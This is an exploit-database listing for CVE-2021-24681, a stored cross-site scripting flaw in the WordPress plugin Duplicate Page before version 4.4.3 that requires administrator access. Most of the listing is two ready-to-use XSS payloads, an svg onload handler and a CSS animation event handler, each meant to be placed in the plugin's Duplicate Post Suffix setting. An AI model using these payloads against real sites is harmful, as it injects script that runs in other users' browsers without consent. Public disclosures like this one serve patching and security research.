Exploit for Duplicate Page < 4.4.3 - Admin+ Stored Cross-Site Scripting CVE-2021-24681

Name: Exploit for Duplicate Page < 4.4.3 - Admin+ Stored Cross-Site Scripting CVE-2021-24681
Rating: 5 (407 reviews)

2021-08-28 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:9EBDD1DF-1D6F-4399-8B0F-77A79F841464
Put the following payload in the Duplicate Post Suffix setting of the plugin:
- v < 4.4.2: "><svg/onload=confirm(/XSS/)>
- v < 4.4.3: " style=animation-name:rotation onanimationstart=alert(/XSS/)//